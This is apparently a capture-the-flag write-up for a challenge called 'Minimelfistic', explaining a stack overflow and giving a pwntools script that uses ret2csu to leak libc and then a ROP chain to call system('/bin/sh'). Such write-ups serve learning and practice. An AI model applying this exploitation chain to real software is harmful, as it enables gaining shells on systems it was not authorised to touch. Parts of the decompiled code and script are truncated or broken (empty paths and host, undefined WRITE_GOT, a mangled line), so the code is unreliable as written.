Skip to main content

Day 4: Minimelfistic

challenge description
The Elves finally understood what went wrong with all their plans. They were too fancy and obvious! 
But, this one is different.. It's a security system, but the alarm rings whenever Santa's house is
vulnerable to an attack. Will you manage to deactivate it? p.s. Sound on!


Playing around with the binary, it seems suspiciously similiar to day 3's. A seemingly innocent looking binary which allows for write to overflow the stack buffer.

undefined8 main(void)

size_t sVar1;
undefined8 local_48;
undefined8 local_40;
undefined8 local_38;
undefined8 local_30;
undefined *local_28;
char *local_20;
undefined *local_18;
int local_c;

local_c = 1;
while (local_c != 0) {
local_18 = &DAT_004022d0;
sVar1 = strlen(&DAT_004022d0);
local_48 = 0;
local_40 = 0;
local_38 = 0;
local_30 = 0;
if ((char)local_48 == '9') {
local_20 = "Goodbye Santa!\n";
sVar1 = strlen("Goodbye Santa!\n");
local_c = 0;
local_28 = &DAT_00402320;
sVar1 = strlen(&DAT_00402320);
return 0;

We need to send in an input starting with 9 to break out of the loop and achieve code redirection. However, looking at the GOT table, it is really depressing...

There are no PUTS since the entire binary only uses write which takes in 3 parameters, which can be seen here:

Calling conventions

The x86_64 calling conventions are as required and we need to somehow POP values into the various registers.

ROPPER managed to find pop rdi, ret and pop rsi, ret. However, pop rdx, ret is not found... Even worse, making a breakpoint before the ret instruction shows that the sleep(1) call cleared the rdx register to 0!

Thus, we have to resort to ret2csu as suggested by the title that it is a mini binary. I will skip the explanation of how ret2csu works but it is pretty neat, using r12 to r15 and populating rdi, rsi and rdx eventually.
#!/usr/bin/env python3

from pwn import *

context.log_level = 'warn'

binary = ELF("./minimelfistic_patched")
libc = ELF("./")
ld = ELF("./")

context.binary = binary
rop = ROP(binary)

RET = rop.find_gadget(['ret'])[0]
POP_RDI = rop.find_gadget(['pop rdi', 'ret'])[0]

MAIN = binary.sym.main

CSU_GADGET1 = 0x400a3a
CSU_GADGET2 = 0x400a20

if args.REMOTE:
p = remote("", 32031)
p = process([binary.path])


payload = b'9' * 72
payload += p64(CSU_GADGET1)
payload += p64(0) #rbx
payload += p64(1) #rbp
payload += p64(WRITE_GOT) #r12 -> CALL
payload += p64(1) #r13 -> rdi
payload += p64(WRITE_GOT) #r14 -> rsi
payload += p64(8) #r15 -> rdx
# Now we will perform the CALL
payload += p64(CSU_GADGET2)
payload += b'B' * (7 * 8) # 6 registers and the function to move RSP by 8
payload += p64(MAIN) # ret to main and get leaked pointers


received = p.recvline().strip()
leaked = u64(received.ljust(8, b'\x00'))

libc.address = leaked - libc.sym.write
print('[+] Leaked base:', hex(libc.address))

BINSH = next('/bin/sh'))
SYSTEM = libc.sym.system
EXIT = libc.sym.exit

payload = b'9' * 72
payload += p64(RET)
payload += p64(POP_RDI)
payload += p64(BINSH)
payload += p64(SYSTEM)
payload += p64(MAIN)